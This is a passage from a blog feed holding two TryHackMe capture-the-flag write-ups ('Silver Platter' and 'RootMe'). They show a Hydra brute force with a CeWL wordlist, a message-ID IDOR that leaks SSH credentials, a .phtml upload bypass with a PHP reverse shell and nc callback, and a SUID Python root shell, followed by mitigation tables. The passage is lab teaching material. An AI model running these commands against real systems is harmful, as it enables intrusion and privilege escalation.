&lt;pre class="highlight shell"&gt;&lt;code&gt;cewl http://10.49.190.34/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; pass.txt
&lt;span class="c"&gt;# 345 words extracted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Capturing the login POST request structure via Burp Suite:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /silverpeas/AuthenticationServlet
Login=scr1ptkiddy&amp;amp;Password=abc&amp;amp;DomainId=0
Failure indicator: response redirects back to defaultLogin.jsp
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; scr1ptkiddy &lt;span class="nt"&gt;-P&lt;/span&gt; pass.txt 10.49.190.34 &lt;span class="nt"&gt;-s&lt;/span&gt; 8080 &lt;span class="se"&gt;\&lt;/span&gt;
  http-post-form &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"/silverpeas/AuthenticationServlet:Login=^USER^&amp;amp;Password=^PASS^&amp;amp;DomainId=0:F=defaultLogin.jsp"&lt;/span&gt; &lt;span class="nt"&gt;-vV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[8080][http-post-form] host: 10.49.190.34   login: scr1ptkiddy   password: adipiscing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password: &lt;code&gt;adipiscing&lt;/code&gt; — a Latin placeholder word from the site's lorem ipsum content. Exactly the kind of thing that appears in CeWL output and nowhere in rockyou.txt.&lt;/p&gt;

&lt;p&gt;Logged into Silverpeas as &lt;code&gt;scr1ptkiddy&lt;/code&gt;, a notification indicates an unread message. The message URL structure is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ID&lt;/code&gt; parameter directly references a message record with no check that the requesting user owns that message. Incrementing to &lt;code&gt;ID=6&lt;/code&gt; via Burp Suite's Repeater tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dude how do you always forget the SSH password? Use a password manager
and quit using your silly sticky notes.
Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SSH credentials for &lt;code&gt;tim&lt;/code&gt;, sitting in someone else's inbox.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where Found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;scr1ptkiddy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;adipiscing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hydra + CeWL wordlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tim&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Silverpeas message IDOR (ID=6)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh tim@10.49.190.34
&lt;span class="c"&gt;# Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tim@ip-10-49-190-34:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="go"&gt;THM{c4ca4238a0b923820dcc509a6f75849b}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; confirmed &lt;code&gt;tim&lt;/code&gt; has no sudo rights. Time to look elsewhere.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="c"&gt;# uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In Ubuntu, members of &lt;code&gt;adm&lt;/code&gt; can read most files in &lt;code&gt;/var/log/&lt;/code&gt; — system logs, authentication logs, and service logs that are normally restricted to root. This is intended for system administrators monitoring the box, but it also means any &lt;code&gt;adm&lt;/code&gt; user can read auth logs that may contain sensitive information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iR&lt;/span&gt; tyler /var/log/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;auth.log.2:Dec 13 15:40:33 silver-platter sudo: tyler : TTY=tty1 ;
PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d
-e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;tyler&lt;/code&gt; ran a Docker command with a PostgreSQL password passed as an environment variable flag (&lt;code&gt;-e POSTGRES_PASSWORD=_Zd_zx7N823/&lt;/code&gt;). Sudo logs the entire command line — password and all. The environment variable value &lt;code&gt;_Zd_zx7N823/&lt;/code&gt; is almost certainly reused as &lt;code&gt;tyler&lt;/code&gt;'s system password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su tyler
&lt;span class="c"&gt;# Password: _Zd_zx7N823/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tyler@ip-10-49-190-34:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;ALL : ALL&lt;span class="o"&gt;)&lt;/span&gt; ALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full unrestricted sudo. One command to root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ip-10-49-190-34:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
THM&lt;span class="o"&gt;{&lt;/span&gt;098f6bcd4621d373cade4e832627b4f6&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Homepage contact section&lt;/strong&gt; → Silverpeas username &lt;code&gt;scr1ptkiddy&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CeWL&lt;/strong&gt; scraped homepage → 345-word custom wordlist&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hydra&lt;/strong&gt; brute forced Silverpeas on port 8080 → &lt;code&gt;adipiscing&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDOR&lt;/strong&gt; on message &lt;code&gt;ID=6&lt;/code&gt; → SSH credentials &lt;code&gt;tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;tim&lt;/code&gt;&lt;/strong&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;adm&lt;/code&gt; group&lt;/strong&gt; → read &lt;code&gt;/var/log/auth.log.2&lt;/code&gt; → &lt;code&gt;tyler&lt;/code&gt;'s password in a Docker command&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;su tyler&lt;/code&gt;&lt;/strong&gt; → full &lt;code&gt;sudo&lt;/code&gt; → &lt;code&gt;sudo su&lt;/code&gt; → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Silverpeas paths on port 80.&lt;/strong&gt; Before discovering port 8080, the Silverpeas login paths (&lt;code&gt;/silverpeas/&lt;/code&gt;, &lt;code&gt;/silverpeas/jsp/login.jsp&lt;/code&gt;, &lt;code&gt;/silverpeas/Main&lt;/code&gt;) were tried on port 80. All returned 404 or empty responses. The platform was running on port 8080, not 80 — a lesson in checking all open HTTP ports before concluding a service isn't present.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;rockyou.txt against Silverpeas.&lt;/strong&gt; The room's stated password policy is a deterrent. Trying rockyou.txt anyway: the application genuinely rejects passwords found in the list — Hydra returns zero hits against the full 14 million entries. CeWL was the correct tool from the start.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{c4ca4238a0b923820dcc509a6f75849b}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/tim/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{098f6bcd4621d373cade4e832627b4f6}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Username published on public homepage&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Never expose internal platform usernames in public-facing contact sections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak CeWL-crackable password&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Site-derived words are as guessable as dictionary words; use randomly generated passwords that bear no relation to the organisation's content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR on Silverpeas message IDs&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Enforce server-side ownership checks on every message read request; never trust a client-supplied ID without verifying the requesting user owns that resource&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH credentials sent via internal message with no encryption&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Internal messaging systems should not be used for credential distribution; use a dedicated secrets manager or encrypted channel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plaintext password in Docker &lt;code&gt;-e&lt;/code&gt; flag (visible in auth log)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Use Docker secrets or environment files (&lt;code&gt;--env-file&lt;/code&gt;) rather than passing credentials directly on the command line; command-line arguments appear in &lt;code&gt;ps&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt; logs, and shell history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;tyler&lt;/code&gt; has unrestricted &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Grant only the minimum necessary sudo permissions; unrestricted &lt;code&gt;(ALL:ALL) ALL&lt;/code&gt; is equivalent to permanent root access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Passwords passed as command-line arguments are logged everywhere — &lt;code&gt;sudo&lt;/code&gt; audit logs, shell history, &lt;code&gt;ps&lt;/code&gt; output, and &lt;code&gt;/proc&lt;/code&gt;. Never pass secrets via &lt;code&gt;-e&lt;/code&gt;, &lt;code&gt;-p&lt;/code&gt;, or similar flags in commands that get logged. Use environment files, secrets managers, or dedicated credential stores. One &lt;code&gt;grep&lt;/code&gt; through auth logs shouldn't hand an attacker lateral movement.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Silver Platter&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>A File Upload Filter That Had Never Heard of .phtml — RootMe (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:52:19 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/a-file-upload-filter-that-had-never-heard-of-phtml-rootme-tryhackme-i7f</link>
      <guid>https://dev.to/cyberfarhan/a-file-upload-filter-that-had-never-heard-of-phtml-rootme-tryhackme-i7f</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; File Upload Bypass / SUID Interpreter&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;RootMe&lt;/strong&gt; tells you exactly what to do right there in the name and then helpfully leaves the door ajar. It's a deceptively clean machine: just a web upload panel, a woefully incomplete file extension filter, and a Python interpreter that someone left running with root-level permissions. The escalation path is about as subtle as a flashing arrow labelled "this way to root." The real lesson here isn't the exploit — it's learning to spot the one file in a thousand-line SUID dump that genuinely shouldn't be there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range sweep with RustScan, Nmap for service and version fingerprinting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.157.64 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.41 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two ports. Nmap notes the &lt;code&gt;PHPSESSID&lt;/code&gt; cookie is missing the &lt;code&gt;HttpOnly&lt;/code&gt; flag — same pattern seen elsewhere in this series, same implication: this is a PHP application and session security was not a priority. The HTTP title is &lt;code&gt;HackIT - Home&lt;/code&gt;, which radiates beginner CTF energy.&lt;/p&gt;

&lt;p&gt;Feroxbuster with PHP, TXT, and HTML extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.157.64 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
200  http://10.49.157.64/index.php
301  http://10.49.157.64/panel       # ^^^ file upload panel
301  http://10.49.157.64/uploads     # ^^^ where uploaded files land
200  http://10.49.157.64/panel/index.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two finds that belong together: &lt;code&gt;/panel/&lt;/code&gt; provides an upload form, &lt;code&gt;/uploads/&lt;/code&gt; is the publicly browsable directory where files go. This pairing is the entire attack surface — upload a shell to &lt;code&gt;/panel/&lt;/code&gt;, trigger it from &lt;code&gt;/uploads/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Web applications that accept file uploads need to ensure users can't upload executable server-side code. A common mitigation is to filter file extensions — but as with any denylist approach, the filter is only as complete as whoever wrote it. PHP files can be executed by Apache under several extensions beyond &lt;code&gt;.php&lt;/code&gt;: notably &lt;code&gt;.phtml&lt;/code&gt;, &lt;code&gt;.php5&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt;, and others depending on server configuration. If the filter blocks &lt;code&gt;.php&lt;/code&gt; but not its siblings, the protection is cosmetic.&lt;/p&gt;

&lt;p&gt;Attempting the obvious upload first — &lt;code&gt;.php&lt;/code&gt; extension:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# upload result
PHP não é permitido!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Portuguese for "PHP is not allowed." The filter blocks &lt;code&gt;.php&lt;/code&gt; by name, which is the most recognisable extension but not the only one Apache will execute as PHP.&lt;/p&gt;

&lt;p&gt;Renaming the PentestMonkey PHP reverse shell and re-uploading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;php-reverse-shell.php php-reverse-shell.phtml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;.phtml&lt;/code&gt; upload was accepted without complaint. The filter had never heard of it.&lt;/p&gt;

&lt;p&gt;Setting up the listener, then navigating to the uploaded file at &lt;code&gt;/uploads/&lt;/code&gt; to trigger execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nlvp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# reverse shell callback
connect to [192.168.133.233] from (UNKNOWN) [10.49.157.64] 32968
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stabilising with Python PTY:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;Landed as &lt;code&gt;www-data&lt;/code&gt;. Three home directories exist: &lt;code&gt;rootme&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;, and &lt;code&gt;ubuntu&lt;/code&gt; — none readable from this account. The user flag wasn't in the obvious &lt;code&gt;/home/&lt;/code&gt; locations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-name&lt;/span&gt; user.txt 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/user.txt   # ^^^ non-standard location
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{y0u_g0t_a_sh3ll}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag lived in the web root's parent directory rather than a home folder — a mild departure from convention that required &lt;code&gt;find&lt;/code&gt; rather than a straight &lt;code&gt;cat&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;The Set User ID (SUID) permission bit on an executable means it runs with the file owner's privileges rather than the calling user's. When a binary owned by root has SUID set, anyone who executes it effectively runs it as root, regardless of who they are. This is intentional for specific binaries like &lt;code&gt;passwd&lt;/code&gt; but catastrophic for general-purpose tools or interpreters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is long. Most entries are expected system binaries. One entry is not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a standard Linux installation, interpreters never have the SUID bit set. &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, &lt;code&gt;ruby&lt;/code&gt;, &lt;code&gt;node&lt;/code&gt; — none of them should appear in a SUID scan. When they do, it means any user can run arbitrary code as root through them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import os; os.execl("/bin/sh", "sh", "-p")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{pr1v1l3g3_3sc4l4t10n}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;.phtml&lt;/code&gt; upload bypass&lt;/strong&gt; at &lt;code&gt;/panel/&lt;/code&gt; — filter blocked &lt;code&gt;.php&lt;/code&gt; but not &lt;code&gt;.phtml&lt;/code&gt;, landing a reverse shell as &lt;code&gt;www-data&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID Python2.7&lt;/strong&gt; — interpreter with root SUID set, executed a one-liner to spawn a root shell&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Exploring &lt;code&gt;/home/rootme/&lt;/code&gt; and &lt;code&gt;/home/test/&lt;/code&gt;.&lt;/strong&gt; After landing the shell, both home directories were investigated. Neither was readable by &lt;code&gt;www-data&lt;/code&gt; — permissions were locked down. &lt;code&gt;.sudo_as_admin_successful&lt;/code&gt; in &lt;code&gt;/home/rootme/&lt;/code&gt; is an empty marker file created when a user successfully runs &lt;code&gt;sudo&lt;/code&gt; for the first time; it contains no useful information. The user flag ultimately wasn't in either home directory anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{y0u_g0t_a_sh3ll}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/www/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{pr1v1l3g3_3sc4l4t10n}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File upload filter — &lt;code&gt;.phtml&lt;/code&gt; not blocked&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use a strict allowlist of safe extensions (&lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt;, &lt;code&gt;.pdf&lt;/code&gt; only); validate file content via magic bytes, not just the name; store uploads outside the webroot or disable PHP execution in the uploads directory via Apache config&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
